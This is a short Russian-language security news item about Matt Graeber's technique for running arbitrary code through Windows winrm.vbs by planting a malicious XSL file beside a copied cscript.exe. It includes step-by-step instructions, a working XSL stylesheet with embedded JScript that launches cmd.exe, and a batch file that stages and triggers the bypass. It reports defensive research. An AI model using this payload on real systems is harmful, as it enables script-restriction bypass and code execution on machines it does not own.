Специалист по кибербезопасности Мэтт Гребер (Matt Graeber) описал технику выполнения произвольного кода скриптом winrm.vbs без попадания под ограничения enlightened script host.
Выполнение XSL
Если добавить команды -format:pretty
или -format:text
в скрипт, он вытащит файлы WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это дает возможность злоумышленнику скопировать cscript.exe в место, где расположен вредоносный XSL, и добиться выполнения произвольного кода.
Инструкции
Гребер описал инструкции для испытания метода:
- поместить произвольный файл WsmPty.xsl или WsmTxt.xsl в контролируемую директорию;
- скопировать файл cscript.exe или wscript.exe в тот же каталог;
- выполнить winrm.vbs с
-format
, указавpretty
(если был помещен файл WsmPty.xsl) илиtext
(если был помещен файл WsmTxt.xsl).
Правильное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript
, который запускает выполнение кoда.
Пример кода
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
Пейлоад
Пакетный файл для запуска пейлоада:
mkdir %SystemDrive%\BypassDir copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\ winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
В мае 2018 года специалист по кибербезопасности Алекс Ионеску обнаружил критическую ошибку в патчах Microsoft против уязвимости Meltdown.
Источник: SpecterOps